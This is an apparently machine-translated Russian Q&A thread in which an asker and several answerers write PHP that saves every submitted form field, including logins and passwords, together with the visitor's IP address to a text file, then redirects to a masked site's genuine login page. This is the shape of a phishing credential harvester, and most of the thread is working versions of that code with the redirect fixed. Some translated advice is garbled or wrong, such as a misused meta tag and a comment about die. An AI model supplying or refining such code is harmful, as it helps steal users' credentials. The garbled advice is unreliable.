Я пытаюсь создать простое веб-приложение для друзей, но не могу понять, как сделать для него функцию php.
<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>
Предполагается, что это должно сделать запись логина и пароля, а также IP-адреса для входа в систему, чтобы при необходимости мои партнеры могли убедиться, что никто не входит в систему и не должен входить в систему.
В любом случае, как бы я сделал так, чтобы после того, как эти данные были зарегистрированы, он пересылал их на другую страницу, например, на домашнюю страницу?
Есть ли способ сделать это, не изменяя содержание php слишком сильно?
Также не уверен, если есть способ сделать это, изменив кнопку, которую я использую …
<input class="button-red" value="Log in" type="submit">
Тем не менее, необходимо запустить PHP, хотя.
Переместить это header ('Location: https://####.com/login/#');
до конца кода.
Так что, как только запись файла будет завершена, страница будет перенаправлена.
РЕДАКТИРОВАТЬ
Имейте в виду, что header()
Функция должна быть вызвана перед отправкой любого вывода обратно в браузер. Значит, перед любым html его нужно использовать!
// do your code for inserting the IP to the file
header ('Location: https://####.com/login/#'); // to redirect the page
die; // the script will not stop execution here, so the html that you might have in that page below this code won't be shown either
?>
потому что я хороший, я пошел вперед и написал свой код для вас
измените свою кнопку HTML на его
<input class="button-red" value="Log in" type="submit" name="submit">
затем используйте этот код PHP
<?php
if(isset($_POST['submit'])){
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
$codeRan = "true";
if($codeRan == "true"){
header ('Location: https://####.com/login/#');
}
}
?>
Добавьте перенаправление в конце кода php, так как после вызова header () он выполнит функцию / перенаправление и не выполнит остальную часть кода. & Добавьте выход / умереть после него. Я думаю, что это может остановить ваше перенаправление. Попробуйте отладку или некоторые из этих других методов.
<?php
if(isset('button-name')){
...code...
header('Location: http://www.example.com/');
die(); // or exit(0);
}
?>
Вот ссылка http://php.net/manual/en/function.header.php
URL должен быть абсолютным
Временное решение будет использовать метатег html добавить HTML после вашего PHP
<meta http-equiv="Location" content="http://example.com/">
или вызов javascript после выполнения php с использованием свойства location окна
window.location.replace("http://example.com/");
Ты должен написать header()
после вашего кода,
вместо этого :
<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>
Напишите это:
<?php
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
// ?> Your other HTML Code <?php
header ('Location: https://####.com/login/#');
?>